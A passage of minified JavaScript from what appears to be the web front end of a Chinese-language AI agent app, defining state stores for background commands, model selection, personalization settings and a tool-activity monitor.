new Error((r==null?void 0:r.error)||`HTTP ${i.status}`);return await this.fetchCommands(),((t=this.activeCommand)==null?void 0:t.command_id)===e&&await this.fetchCommandDetail(e),{success:!0,data:(r==null?void 0:r.data)||null}}catch(n){return{success:!1,error:(n==null?void 0:n.message)||String(n)}}finally{const n={...this.stoppingCommandIds};delete n[e],this.stoppingCommandIds=n}},async stopAllCommands(s){var e;try{const t=await fetch("/api/background_commands/stop_all",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(s?{conversation_id:s}:{})}),n=await t.json().catch(()=>({}));if(!t.ok||!(n!=null&&n.success))throw new Error((n==null?void 0:n.error)||`HTTP ${t.status}`);return await this.fetchCommands(),{success:!0,stoppedCount:((e=n==null?void 0:n.data)==null?void 0:e.stopped_count)||0}}catch(t){return{success:!1,error:(t==null?void 0:t.message)||String(t)}}}}}),N2=dn("focus",{state:()=>({focusedFiles:{}}),actions:{async fetchFocusedFiles(){try{const s=await fetch("/api/focused");if(!s.ok)throw new Error(s.statusText||"请求失败");const e=await s.json();this.focusedFiles=e||{}}catch(s){console.error("获取聚焦文件失败:",s)}},setFocusedFiles(s){this.focusedFiles=s||{}},clearFocusedFiles(){this.focusedFiles={}}}}),Qi=dn("model",{state:()=>({currentModelKey:"",models:[]}),getters:{currentModel(s){return s.models.find(e=>e.key===s.currentModelKey)||s.models[0]||null}},actions:{setModels(s){var t;if(!Array.isArray(s))return;this.models=s,this.currentModelKey&&this.models.some(n=>n.key===this.currentModelKey)||(this.currentModelKey=((t=this.models[0])==null?void 0:t.key)||"")},setModel(s){if(this.currentModelKey===s)return;if(this.models.some(t=>t.key===s)){this.currentModelKey=s;return}s&&(this.models=[...this.models,{key:s,label:s,description:"",fastOnly:!1,supportsThinking:!0}],this.currentModelKey=s)},async fetchModels(){const s=await fetch("/api/v1/models",{cache:"no-store"}),e=await s.json();if(!s.ok||!(e!=null&&e.success)||!Array.isArray(e.items))throw new Error((e==null?void 0:e.error)||"加载模型列表失败");const t=e.items.filter(n=>n&&n.model_key).map(n=>{const i=String(n.multimodal||"none"),r=i==="image"||i==="image,video",o=i==="video"||i==="image,video";return{key:String(n.model_key),label:String(n.name||n.model_key),description:String(n.description||""),visible:n.visible!==!1,multimodal:i,supportsImage:r,supportsVideo:o,contextWindow:typeof n.context_window=="number"?n.context_window:null,maxOutputTokens:typeof n.max_output_tokens=="number"?n.max_output_tokens:null,fastOnly:!!n.fast_only,supportsThinking:!!n.supports_thinking,thinkingOnly:!!n.thinking_only,supportsReasoningEffort:!!n.supports_reasoning_effort}});this.setModels(t)}}}),B2=()=>({auto_approval:{model:"",thinking:!1,timeout_seconds:60,max_rounds:3,max_command_timeout:20},goal_review:{model:"",thinking:!1,timeout_seconds:60,max_rounds:3,max_command_timeout:60},workflow_review:{model:"",thinking:!1,timeout_seconds:120,max_rounds:6,max_command_timeout:60}}),g$=s=>{const e=B2(),t=s&&typeof s=="object"?s:{},n=(o,a,c,l)=>{const u=typeof o=="number"?o:parseInt(o,10);return Number.isFinite(u)?Math.max(c,Math.min(Math.trunc(u),l)):a},i=["auto_approval","goal_review","workflow_review"],r={};for(const o of i){const a=e[o],c=t[o]&&typeof t[o]=="object"?t[o]:{};r[o]={model:typeof c.model=="string"?c.model:"",thinking:typeof c.thinking=="boolean"?c.thinking:a.thinking,timeout_seconds:n(c.timeout_seconds,a.timeout_seconds,5,3600),max_rounds:n(c.max_rounds,a.max_rounds,1,50),max_command_timeout:n(c.max_command_timeout,a.max_command_timeout,1,600)}}return r},b1=10,Wf={min:1,max:30},nS=20,w_=5,m$=8e4,v$=15e4,OM=["fast","thinking"],DM=["low","medium","high","xhigh","max"],aE="agents_personalization_experiments",_1="agents_ui_theme",F2="agents_stacked_hide_borders",$2="agents_minimal_expand_height_limited",lE="agents_quick_dock_auto_expand",H2=()=>{if(typeof window>"u"||!window.localStorage)return"classic";const s=window.localStorage.getItem(_1);return s==="light"||s==="dark"||s==="classic"?s:"classic"},y$=()=>typeof window>"u"||!window.localStorage?!1:window.localStorage.getItem(F2)==="true",b$=()=>{if(typeof window>"u"||!window.localStorage)return"stacked";try{const s=window.localStorage.getItem(aE);if(!s)return"stacked";const e=JSON.parse(s);if(typeof(e==null?void 0:e.blockDisplayMode)=="string"&&["traditional","stacked","minimal"].includes(e.blockDisplayMode))return e.blockDisplayMode}catch(s){console.warn("读取堆叠块显示模式缓存失败:",s)}return"stacked"},NM=s=>{if(!(typeof window>"u"||!window.localStorage))try{window.localStorage.setItem(F2,s?"true":"false")}catch(e){console.warn("写入堆叠块边线设置失败:",e)}},U2=()=>{if(typeof window>"u"||!window.localStorage)return!0;const s=window.localStorage.getItem(lE);return s===null?!0:s==="true"},W2=()=>typeof window>"u"||!window.localStorage?!1:window.localStorage.getItem(lE)!==null,_$=s=>{if(!(typeof window>"u"||!window.localStorage))try{window.localStorage.setItem(lE,s?"true":"false")}catch(e){console.warn("写入快捷窗口自动展开设置缓存失败:",e)}},S$=()=>{if(typeof window>"u"||!window.localStorage)return!0;const s=window.localStorage.getItem($2);return s===null?!0:s==="true"},BM=s=>{if(!(typeof window>"u"||!window.localStorage))try{window.localStorage.setItem($2,s?"true":"false")}catch(e){console.warn("写入极简展开高度限制设置失败:",e)}},w$=()=>({enabled:!1,communication_style:"default",conversation_continuity:"medium",auto_generate_title:!0,recent_conversations_prompt_enabled:!1,recent_conversations_prompt_limit:b1,project_memory_inject_limit:nS,tool_intent_enabled:!0,skill_hints_enabled:!1,skill_strict_terminal_enabled:!1,skill_strict_sub_agent_enabled:!1,skill_strict_run_command_foreground_enabled:!1,skill_strict_run_command_background_enabled:!1,silent_tool_disable:!1,hide_tool_approval_panel:!0,enhanced_tool_display:!0,compact_message_display:"full",block_display_mode:b$(),show_status_avatar:!0,show_git_status_bar:!0,auto_open_terminal_panel:!0,quick_dock_auto_expand:U2(),file_preview_auto_wrap:!1,edit_summary_live_display:!1,modify_history_enabled:!0,stacked_hide_borders:y$(),minimal_expand_height_limited:S$(),enhanced_tool_display_categories:[],enabled_skills:[],self_identify:"",user_name:"",use_custom_names:!1,profession:"",tone:"",considerations:"",disabled_tool_categories:[],default_run_mode:null,default_reasoning_effort:null,default_permission_mode:"unrestricted",default_work_mode:"plan",versioning_enabled_by_default:!0,versioning_backup_mode:"shallow",versioning_restore_mode:"overwrite",default_model:null,image_compression:"original",auto_shallow_compress_enabled:!1,auto_deep_compress_enabled:!0,shallow_compress_trigger_tokens:null,shallow_compress_keep_recent_tools:null,shallow_compress_keep_user_turn_tools:null,shallow_compress_max_replace_per_round:null,shallow_compress_trigger_tool_calls_interval:null,deep_compress_trigger_tokens:null,deep_compress_form:"file",agents_md_auto_inject:!1,new_chat_button_behavior:"route",group_sidebar_by_workspace:!1,sidebar_pinned_workspaces:[],sidebar_workspace_order:[],theme:H2(),goal_review_mode:"readonly",goal_end_conditions:["max_turns"],goal_max_turns:5,goal_max_tokens:null,review_agents:B2()}),ym=()=>({blockDisplayMode:"stacked",compactMessageDisplay:"full"}),k$=()=>{if(typeof window>"u"||!window.localStorage)return ym();try{const s=window.localStorage.getItem(aE);if(!s)return ym();const e=JSON.parse(s);let t=ym().blockDisplayMode;typeof(e==null?void 0:e.blockDisplayMode)=="string"&&["traditional","stacked","minimal"].includes(e.blockDisplayMode)?t=e.blockDisplayMode:typeof(e==null?void 0:e.stackedBlocksEnabled)=="boolean"&&(t=e.stackedBlocksEnabled?"stacked":"traditional");let n=ym().compactMessageDisplay;return typeof(e==null?void 0:e.compactMessageDisplay)=="string"&&["full","brief"].includes(e.compactMessageDisplay)&&(n=e.compactMessageDisplay),{blockDisplayMode:t,compactMessageDisplay:n}}catch(s){return console.warn("无法读取实验功能设置:",s),ym()}};let k_=null;const qs=dn("personalization",{state:()=>({visible:!1,loading:!1,saving:!1,loaded:!1,status:"",error:"",toggleUpdating:!1,overlayPressActive:!1,tonePresets:["健谈","幽默","直言不讳","鼓励性","诗意","企业商务","打破常规","同理心"],form:w$(),toolCategories:[],skillsCatalog:[],recentConversationsPromptLimitRange:{...Wf},projectMemoryInjectLimitMin:w_,experiments:k$()}),actions:{async openDrawer(){this.visible=!0,this.loading||await this.fetchPersonalization()},closeDrawer(){this.visible=!1,this.overlayPressActive=!1},handleOverlayPressStart(s){if(s.target!==s.currentTarget){this.overlayPressActive=!1;return}s.type==="mousedown"&&s.button!==0||(this.overlayPressActive=!0)},handleOverlayPressEnd(s){const e=this.overlayPressActive&&s.target===s.currentTarget;this.overlayPressActive=!1,e&&(s.cancelable&&s.preventDefault(),this.closeDrawer())},handleOverlayPressCancel(){this.overlayPressActive=!1},async fetchPersonalization(){this.loading=!0,this.error="";try{const s=await fetch("/api/personalization"),e=await s.json();if(!s.ok||!e.success)throw new Error(e.error||"加载失败");this.applyPersonalizationData(e.data||{}),this.applyPersonalizationMeta(e),this.loaded=!0}catch(s){this.error=(s==null?void 0:s.message)||"加载失败"}finally{this.loading=!1}},applyPersonalizationData(s){var o;const e=this.form&&typeof this.form.default_model=="string"?this.form.default_model:null,t=((o=this.form)==null?void 0:o.theme)||H2();this.form={enabled:!!s.enabled,communication_style:s.communication_style==="human_like"||s.communication_style==="auto"?s.communication_style:"default",conversation_continuity:s.conversation_continuity==="low"||s.conversation_continuity==="high"?s.conversation_continuity:"medium",auto_generate_title:s.auto_generate_title!==!1,recent_conversations_prompt_enabled:!!s.recent_conversations_prompt_enabled,recent_conversations_prompt_limit:this.normalizeRecentConversationsPromptLimit(s.recent_conversations_prompt_limit),project_memory_inject_limit:this.normalizeProjectMemoryInjectLimit(s.project_memory_inject_limit),tool_intent_enabled:!!s.tool_intent_enabled,skill_hints_enabled:!!s.skill_hints_enabled,skill_strict_terminal_enabled:!!s.skill_strict_terminal_enabled,skill_strict_sub_agent_enabled:!!s.skill_strict_sub_agent_enabled,skill_strict_run_command_foreground_enabled:!!s.skill_strict_run_command_foreground_enabled,skill_strict_run_command_background_enabled:!!s.skill_strict_run_command_background_enabled,silent_tool_disable:!!s.silent_tool_disable,hide_tool_approval_panel:s.hide_tool_approval_panel!==!1,enhanced_tool_display:s.enhanced_tool_display!==!1,compact_message_display:s.compact_message_display==="brief"?"brief":"full",block_display_mode:s.block_display_mode==="traditional"||s.block_display_mode==="stacked"||s.block_display_mode==="minimal"?s.block_display_mode:"stacked",show_status_avatar:s.show_status_avatar!==!1,show_git_status_bar:s.show_git_status_bar!==!1,auto_open_terminal_panel:s.auto_open_terminal_panel!==!1,quick_dock_auto_expand:s.quick_dock_auto_expand!==!1,file_preview_auto_wrap:!!s.file_preview_auto_wrap,edit_summary_live_display:!!s.edit_summary_live_display,modify_history_enabled:s.modify_history_enabled!==!1,stacked_hide_borders:!!s.stacked_hide_borders,minimal_expand_height_limited:s.minimal_expand_height_limited!==!1,enhanced_tool_display_categories:Array.isArray(s.enhanced_tool_display_categories)?s.enhanced_tool_display_categories.filter(a=>typeof a=="string"):[],enabled_skills:Array.isArray(s.enabled_skills)?s.enabled_skills.filter(a=>typeof a=="string"):[],self_identify:s.self_identify||"",user_name:s.user_name||"",use_custom_names:!!s.use_custom_names,profession:s.profession||"",tone:s.tone||"",considerations:typeof s.considerations=="string"?s.considerations:Array.isArray(s.considerations)?s.considerations.filter(a=>typeof a=="string").join(` +`):"",disabled_tool_categories:Array.isArray(s.disabled_tool_categories)?s.disabled_tool_categories.filter(a=>typeof a=="string"):[],default_run_mode:(()=>{const a=s.default_run_mode==="deep"?"thinking":s.default_run_mode;return typeof a=="string"&&OM.includes(a)?a:null})(),default_reasoning_effort:typeof s.default_reasoning_effort=="string"&&DM.includes(s.default_reasoning_effort)?s.default_reasoning_effort:null,default_permission_mode:s.default_permission_mode==="readonly"||s.default_permission_mode==="approval"||s.default_permission_mode==="auto_approval"||s.default_permission_mode==="unrestricted"?s.default_permission_mode:"unrestricted",default_work_mode:s.default_work_mode==="plan"||s.default_work_mode==="ask"||s.default_work_mode==="execute"?s.default_work_mode:"plan",versioning_enabled_by_default:s.versioning_enabled_by_default!==!1,versioning_backup_mode:s.versioning_backup_mode==="full"?"full":"shallow",versioning_restore_mode:"overwrite",default_model:typeof s.default_model=="string"?s.default_model:e,image_compression:typeof s.image_compression=="string"?s.image_compression:"original",auto_shallow_compress_enabled:!!s.auto_shallow_compress_enabled,auto_deep_compress_enabled:!!s.auto_deep_compress_enabled,shallow_compress_trigger_tokens:this.normalizeCompressionNumber(s.shallow_compress_trigger_tokens),shallow_compress_keep_recent_tools:this.normalizeCompressionNumber(s.shallow_compress_keep_recent_tools),shallow_compress_keep_user_turn_tools:this.normalizeCompressionNumber(s.shallow_compress_keep_user_turn_tools),shallow_compress_max_replace_per_round:this.normalizeCompressionNumber(s.shallow_compress_max_replace_per_round),shallow_compress_trigger_tool_calls_interval:this.normalizeCompressionNumber(s.shallow_compress_trigger_tool_calls_interval),deep_compress_trigger_tokens:this.normalizeCompressionNumber(s.deep_compress_trigger_tokens),deep_compress_form:s.deep_compress_form==="inject"?"inject":"file",agents_md_auto_inject:!!s.agents_md_auto_inject,new_chat_button_behavior:s.new_chat_button_behavior==="blank"?"blank":"route",group_sidebar_by_workspace:!!s.group_sidebar_by_workspace,sidebar_pinned_workspaces:Array.isArray(s.sidebar_pinned_workspaces)?s.sidebar_pinned_workspaces.filter(a=>typeof a=="string"):[],sidebar_workspace_order:Array.isArray(s.sidebar_workspace_order)?s.sidebar_workspace_order.filter(a=>typeof a=="string"):[],theme:["classic","light","dark"].includes(s.theme)?s.theme:t,goal_review_mode:s.goal_review_mode==="active"?"active":"readonly",goal_end_conditions:Array.isArray(s.goal_end_conditions)?s.goal_end_conditions.filter(a=>a==="max_turns"||a==="max_tokens"):["max_turns"],goal_max_turns:typeof s.goal_max_turns=="number"&&s.goal_max_turns>0?s.goal_max_turns:5,goal_max_tokens:typeof s.goal_max_tokens=="number"&&s.goal_max_tokens>0?s.goal_max_tokens:null,review_agents:g$(s.review_agents)};const n=typeof window<"u"&&window.localStorage?window.localStorage.getItem(_1):null;this.form.theme!==n&&this.applyTheme(this.form.theme),NM(this.form.stacked_hide_borders),BM(this.form.minimal_expand_height_limited),_$(this.form.quick_dock_auto_expand);const i=this.experiments.compactMessageDisplay;this.form.compact_message_display==="full"&&i==="brief"&&(this.form={...this.form,compact_message_display:"brief"},this.persistCompactMessageDisplay("brief"));const r=this.experiments.blockDisplayMode;this.form.block_display_mode==="stacked"&&r!=="stacked"&&(this.form={...this.form,block_display_mode:r}),this.experiments={...this.experiments,compactMessageDisplay:this.form.compact_message_display,blockDisplayMode:this.form.block_display_mode},this.persistExperiments(),this.clearFeedback()},applyTheme(s){if(typeof window>"u")return;window.localStorage.setItem(_1,s),document.documentElement.setAttribute("data-theme",s),document.body.setAttribute("data-theme",s)},normalizeCompressionNumber(s){if(s===null||typeof s>"u"||s==="")return null;const e=Number(s);if(!Number.isFinite(e))return null;const t=Math.round(e);return t<=0?null:t},normalizeRecentConversationsPromptLimit(s){const e=Number(s),t=this.recentConversationsPromptLimitRange.min??Wf.min,n=this.recentConversationsPromptLimitRange.max??Wf.max;return Number.isFinite(e)?Math.max(t,Math.min(n,Math.round(e))):b1},normalizeProjectMemoryInjectLimit(s){if(typeof s>"u")return nS;if(s===null||s==="")return null;const e=Number(s);if(!Number.isFinite(e))return nS;const t=Math.round(e);if(t<=0)return null;const n=this.projectMemoryInjectLimitMin??w_;return Math.max(n,t)},applyPersonalizationMeta(s){if(s&&s.recent_conversations_prompt_limit_range){const{min:e,max:t}=s.recent_conversations_prompt_limit_range;this.recentConversationsPromptLimitRange={min:typeof e=="number"?e:Wf.min,max:typeof t=="number"?t:Wf.max}}else this.recentConversationsPromptLimitRange={...Wf};if(s&&s.project_memory_inject_limit_range){const{min:e}=s.project_memory_inject_limit_range;this.projectMemoryInjectLimitMin=typeof e=="number"?e:w_}else this.projectMemoryInjectLimitMin=w_;s&&Array.isArray(s.tool_categories)?this.toolCategories=s.tool_categories.map((e={})=>({id:typeof e.id=="string"?e.id:String(e.id??""),label:e.label&&String(e.label)||(typeof e.id=="string"?e.id:String(e.id??""))})).filter(e=>!!e.id):this.toolCategories=[],s&&Array.isArray(s.skills_catalog)?this.skillsCatalog=s.skills_catalog.map((e={})=>({id:typeof e.id=="string"?e.id:String(e.id??""),label:e.label&&String(e.label)||(typeof e.id=="string"?e.id:String(e.id??"")),description:typeof e.description=="string"?e.description:void 0})).filter(e=>!!e.id):this.skillsCatalog=[]},clearFeedback(){this.status="",this.error=""},async toggleEnabled(){if(this.toggleUpdating)return;const s=!this.form.enabled,e=this.form.enabled;this.toggleUpdating=!0,this.status="",this.error="",this.form.enabled=s;try{const t=await fetch("/api/personalization",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({enabled:s})}),n=await t.json();if(!t.ok||!n.success)throw new Error(n.error||"更新失败");n.data&&this.applyPersonalizationData(n.data),this.applyPersonalizationMeta(n);const i=s?"已启用":"已停用";this.status=i,setTimeout(()=>{this.status===i&&(this.status="")},2e3)}catch(t){this.form.enabled=e,this.error=(t==null?void 0:t.message)||"更新失败"}finally{this.toggleUpdating=!1}},async save(){if(!this.saving){this.saving=!0,this.status="",this.error="";try{const s=this.normalizeCompressionNumber(this.form.shallow_compress_trigger_tokens)??m$;if((this.normalizeCompressionNumber(this.form.deep_compress_trigger_tokens)??v$)<=s)throw new Error("深压缩触发上下文必须大于浅压缩触发上下文");const t=await fetch("/api/personalization",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(this.form)}),n=await t.json();if(!t.ok||!n.success)throw new Error(n.error||"保存失败");this.applyPersonalizationData(n.data||{}),this.applyPersonalizationMeta(n),this.status="已保存",setTimeout(()=>{this.status==="已保存"&&(this.status="")},3e3)}catch(s){this.error=(s==null?void 0:s.message)||"保存失败"}finally{this.saving=!1}}},updateField(s){!s||!s.key||(this.form={...this.form,[s.key]:s.value},s.key==="stacked_hide_borders"&&NM(!!s.value),s.key==="minimal_expand_height_limited"&&BM(!!s.value),this.clearFeedback(),this.scheduleAutoSave())},scheduleAutoSave(){k_&&clearTimeout(k_),k_=setTimeout(()=>{k_=null,this.autoSave()},500)},async autoSave(){if(!this.saving){this.saving=!0;try{const s=await fetch("/api/personalization",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(this.form)}),e=await s.json();if(!s.ok||!e.success)throw new Error(e.error||"自动保存失败")}catch(s){this.error=(s==null?void 0:s.message)||"自动保存失败"}finally{this.saving=!1}}},setRecentConversationsPromptLimit(s){const e=s===null||typeof s>"u"?b1:this.normalizeRecentConversationsPromptLimit(s);this.form={...this.form,recent_conversations_prompt_limit:e},this.clearFeedback(),this.scheduleAutoSave()},setProjectMemoryInjectLimit(s){const e=s===null||typeof s>"u"?null:this.normalizeProjectMemoryInjectLimit(s);this.form={...this.form,project_memory_inject_limit:e},this.clearFeedback(),this.scheduleAutoSave()},restoreProjectMemoryInjectLimit(){this.form={...this.form,project_memory_inject_limit:nS},this.clearFeedback(),this.scheduleAutoSave()},toggleDefaultToolCategory(s){if(!s)return;const e=new Set(this.form.disabled_tool_categories||[]);e.has(s)?e.delete(s):e.add(s),this.form={...this.form,disabled_tool_categories:Array.from(e)},this.clearFeedback(),this.scheduleAutoSave()},toggleSkill(s){if(!s)return;const e=new Set(this.form.enabled_skills||[]);e.has(s)?e.delete(s):e.add(s),this.form={...this.form,enabled_skills:Array.from(e)},this.clearFeedback(),this.scheduleAutoSave()},setDefaultRunMode(s){let e=null;typeof s=="string"&&OM.includes(s)&&(e=s),this.form={...this.form,default_run_mode:e},this.clearFeedback(),this.scheduleAutoSave()},setDefaultReasoningEffort(s){let e=null;typeof s=="string"&&DM.includes(s)&&(e=s),this.form={...this.form,default_reasoning_effort:e},this.clearFeedback(),this.scheduleAutoSave()},setDefaultPermissionMode(s){const t=["readonly","approval","auto_approval","unrestricted"].includes(s)?s:"unrestricted";this.form={...this.form,default_permission_mode:t},this.clearFeedback(),this.scheduleAutoSave()},setDefaultWorkMode(s){const t=["plan","ask","execute"].includes(s)?s:"plan";this.form={...this.form,default_work_mode:t},this.clearFeedback(),this.scheduleAutoSave()},setVersioningRestoreMode(s){const e="overwrite";this.form={...this.form,versioning_restore_mode:e},this.clearFeedback(),this.scheduleAutoSave()},setVersioningBackupMode(s){const e=s==="full"?"full":"shallow";this.form={...this.form,versioning_backup_mode:e},this.clearFeedback(),this.scheduleAutoSave()},setDefaultModel(s){const e=Qi(),t=new Set((e.models||[]).map(i=>i.key)),n=typeof s=="string"&&t.has(s)?s:null;this.form={...this.form,default_model:n},this.clearFeedback(),this.scheduleAutoSave()},setImageCompression(s){["original","1080p","720p","540p"].includes(s)&&(this.form={...this.form,image_compression:s},this.clearFeedback(),this.scheduleAutoSave())},applyTonePreset(s){s&&(this.form={...this.form,tone:s},this.clearFeedback(),this.scheduleAutoSave())},updateConsiderations(s){this.form={...this.form,considerations:s},this.clearFeedback(),this.scheduleAutoSave()},async logout(){try{const s=await fetch("/logout",{method:"POST",credentials:"same-origin",cache:"no-store"});let e=null;try{e=await s.json()}catch{e=null}if(s.ok&&(!e||e.success!==!1)){window.location.replace(`/login?logged_out=1&ts=${Date.now()}`);return}window.location.replace(`/logout?ts=${Date.now()}`)}catch(s){console.error("退出登录失败:",s),this.error=(s==null?void 0:s.message)||"退出登录失败,请稍后重试",window.location.replace(`/logout?ts=${Date.now()}`)}},persistExperiments(){if(!(typeof window>"u"||!window.localStorage))try{window.localStorage.setItem(aE,JSON.stringify(this.experiments))}catch(s){console.warn("写入实验功能设置失败:",s)}},setBlockDisplayMode(s){this.experiments={...this.experiments,blockDisplayMode:s},this.persistExperiments(),this.form={...this.form,block_display_mode:s},this.scheduleAutoSave()},setCompactMessageDisplay(s){const e=s==="brief"?"brief":"full";this.form={...this.form,compact_message_display:e},this.experiments={...this.experiments,compactMessageDisplay:e},this.persistExperiments(),this.clearFeedback(),this.persistCompactMessageDisplay(e)},async persistCompactMessageDisplay(s){try{const e=await fetch("/api/personalization",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({compact_message_display:s})}),t=await e.json();(!e.ok||!t.success)&&console.warn("保存简略消息显示失败:",t==null?void 0:t.error)}catch(e){console.warn("保存简略消息显示失败:",e)}},setCommunicationStyle(s){this.form={...this.form,communication_style:s},this.clearFeedback(),this.scheduleAutoSave()},setConversationContinuity(s){this.form={...this.form,conversation_continuity:s},this.clearFeedback(),this.scheduleAutoSave()}}}),C$=Object.freeze(Object.defineProperty({__proto__:null,hasCachedQuickDockAutoExpand:W2,loadCachedQuickDockAutoExpand:U2,usePersonalizationStore:qs},Symbol.toStringTag,{value:"Module"})),T$={browserSearch:"正在搜索",webExtract:"正在提取",webSave:"正在保存",appendFile:"正在编辑",modifyFile:"正在编辑",createFile:"正在创建",deleteFile:"正在删除",readFile:"正在读取",reader:"正在读取",focus:"正在聚焦",unfocus:"正在处理",runCommand:"运行命令",terminalSession:"打开终端",terminalInput:"终端输入",terminalSnapshot:"获取终端输出",memoryUpdate:"正在同步记忆",todoCreate:"正在更新待办",todoUpdate:"正在更新待办",todoFinish:"正在完成任务",todoFinishConfirm:"正在确认任务",todoDelete:"正在移除任务",wait:"正在等待",sleep:"正在等待",createFolder:"正在创建文件夹",renameFile:"正在重命名",terminalReset:"正在重置终端",terminalSleep:"准备等待",terminalRun:"终端运行中",ocr:"正在提取",memory:"正在同步记忆",todo:"正在管理待办",genericTool:"调用工具"};function FM(s){return T$[s]||null}const z2=dn("connection",{state:()=>({isConnected:!1,socket:null,stopRequested:!1,projectPath:"",agentVersion:"",thinkingMode:!0,runMode:"thinking",reasoningEffort:null}),actions:{setSocket(s){this.socket=s},setConnected(s){this.isConnected=s},setStopRequested(s){this.stopRequested=s},requestStop(){this.stopRequested=!0},clearStopRequest(){this.stopRequested=!1},setProjectPath(s){this.projectPath=s},setAgentVersion(s){this.agentVersion=s},setThinkingMode(s){this.thinkingMode=!!s},toggleThinkingMode(){this.thinkingMode=!this.thinkingMode},setRunMode(s){this.runMode=s,this.thinkingMode=s!=="fast"},setReasoningEffort(s){this.reasoningEffort=s}}}),jk=(...s)=>{},zf=(...s)=>{},_h=(...s)=>{},Vk=["__pycache__","config","core","data","doc","docker","logs","modules","node_modules","project","prompts","scratch_test","scripts","static","sub_agent","test","users","utils"],A$=32,$M={web_search:"browserSearch",extract_webpage:"webExtract",save_webpage:"webSave",read_file:"reader",view_video:"reader",vlm_analyze:"ocr",ocr_image:"ocr",create_folder:"createFolder",create_file:"createFile",rename_file:"renameFile",delete_file:"deleteFile",write_file:"modifyFile",edit_file:"modifyFile",run_command:"runCommand",terminal_session:"terminalSession",terminal_input:"terminalInput",terminal_snapshot:"terminalSnapshot",sleep:"terminalSleep",update_memory:"memoryUpdate",recall_project_memory:"reader",search_project_memory:"reader",update_project_memory:"memoryUpdate",todo_create:"todoCreate",todo_update_task:"todoUpdate",todo_delete_task:"todoDelete",terminal_run:"runCommand"},E$=(s="evt")=>`${s}-${Date.now()}-${Math.random().toString(36).slice(2,6)}`,j2=dn("monitor",{state:()=>({statusLabel:"待机",queue:[],playing:!1,awaitingTools:{},lastTreeSnapshot:[...Vk],lastSpeechAt:0,thinkingActive:!1,pendingResults:{},completedResults:{},driver:null,speechBuffer:"",bubbleActive:!1,pendingProgressScene:null,progressIndicator:{id:null,label:"",scene:null}}),getters:{isLocked:s=>s.playing||s.queue.length>0},actions:{registerDriver(s){this.driver=s,this.driver.resetScene({desktopRoots:this.lastTreeSnapshot,preserveBubble:this.bubbleActive,preservePointer:!1,preserveWindows:!1}),this.speechBuffer&&(this.driver.showSpeechBubble(this.speechBuffer,{variant:"info",duration:0}),this.bubbleActive=!0),this.driver.setManualInteractionEnabled(!this.isLocked),this.pendingProgressScene&&(zf("registerDriver:apply-pending",{scene:this.pendingProgressScene}),this.driver.previewSceneProgress(this.pendingProgressScene),this.pendingProgressScene=null),this.queue.length&&this.processQueue()},unregisterDriver(){this.driver&&(this.driver.setManualInteractionEnabled(!1),this.driver.hideBubble()),this.driver=null,this.playing=!1},syncDesktopFromTree(s){var t,n;if(!Array.isArray(s)||!s.length){this.lastTreeSnapshot=[...Vk],(t=this.driver)==null||t.setDesktopRoots(this.lastTreeSnapshot,{immediate:!0});return}const e=s.filter(i=>i&&i.type==="folder").map(i=>i.name).filter(Boolean);this.lastTreeSnapshot=e.length?e:[...Vk],(n=this.driver)==null||n.setDesktopRoots(this.lastTreeSnapshot)},resetVisualState(s){var a,c;const e=!!(s!=null&&s.preserveBubble),t=(s==null?void 0:s.preservePointer)!==!1,n=!!(s!=null&&s.preserveWindows),i=!!(s!=null&&s.preserveQueue),r=!!(s!=null&&s.preservePendingResults),o=!!(s!=null&&s.preserveAwaitingTools);this.statusLabel="待机",i||(this.queue=[],this.playing=!1),this.lastSpeechAt=0,o||(this.awaitingTools={}),r||(Object.values(this.pendingResults).forEach(l=>{l!=null&&l.timeout&&clearTimeout(l.timeout)}),this.pendingResults={},this.completedResults={}),e||(this.speechBuffer="",this.bubbleActive=!1),this.thinkingActive=!1,this.pendingProgressScene=null,this.progressIndicator={id:null,label:"",scene:null},(a=this.driver)==null||a.resetScene({desktopRoots:this.lastTreeSnapshot,preserveBubble:e,preservePointer:t,preserveWindows:n}),(c=this.driver)==null||c.setManualInteractionEnabled(!this.isLocked)},setProgressIndicator(s){this.progressIndicator={id:s.id,label:s.label,scene:s.scene},zf("progress-indicator:set",this.progressIndicator)},previewToolIntent(s){this.bubbleActive&&this.hideBubble(`tool-intent:${(s==null?void 0:s.name)||"unknown"}`),this.speechBuffer="";const e=$M[s.name]||"genericTool",t=FM(e);t&&(this.setStatus(t),this.progressIndicator={id:null,label:t,scene:e},zf("preview-tool-intent",{tool:s.name,script:e,label:t}),this.driver?this.driver.previewSceneProgress(e):this.pendingProgressScene=e)},clearProgressIndicator(s){s&&this.progressIndicator.id&&s!==this.progressIndicator.id||(zf("progress-indicator:clear",{id:this.progressIndicator.id,label:this.progressIndicator.label}),this.progressIndicator={id:null,label:"",scene:null})},setStatus(s){this.statusLabel=s},showBubble(s,e={}){var t;s&&(jk("showBubble",{text:s,variant:e==null?void 0:e.variant,duration:e==null?void 0:e.duration}),(t=this.driver)==null||t.showSpeechBubble(s,e),this.bubbleActive=!0)},hideBubble(s){var e;(e=this.driver)==null||e.hideBubble(),this.bubbleActive=!1,this.thinkingActive=!1},resetSpeechBuffer(){this.speechBuffer=""},showPendingReply(){var s;if(this.setStatus("待机"),this.driver&&typeof this.driver.showWaitingBubble=="function"){this.driver.showWaitingBubble("等待回复"),this.bubbleActive=!0;return}(s=this.driver)==null||s.showSpeechBubble("等待回复...",{variant:"info",duration:0}),this.bubbleActive=!0},enqueueModelSpeech(s){if(s){if(this.setStatus("正在规划"),this.speechBuffer=`${this.speechBuffer}${s}`,this.lastSpeechAt=Date.now(),jk("enqueueModelSpeech",{incoming:s,combined:this.speechBuffer}),this.playing||!this.driver){this.bubbleActive=!1;return}this.driver.showSpeechBubble(this.speechBuffer,{variant:"info",duration:0}),this.bubbleActive=!0}},enqueueModelThinking(){var t;const s=z2();s.runMode==="fast"||s.thinkingMode===!1||this.playing||!this.driver||this.thinkingActive||(this.setStatus("思考中"),(t=this.driver)==null||t.showThinkingBubble(),this.bubbleActive=!0,this.thinkingActive=!0)},endModelOutput(){this.setStatus("待机"),this.thinkingActive=!1},enqueueToolEvent(s){var c,l,u,h,d;const t=Date.now()-this.lastSpeechAt,n=480,i=$M[s.name]||"genericTool",r=FM(i);r&&this.setStatus(r);const 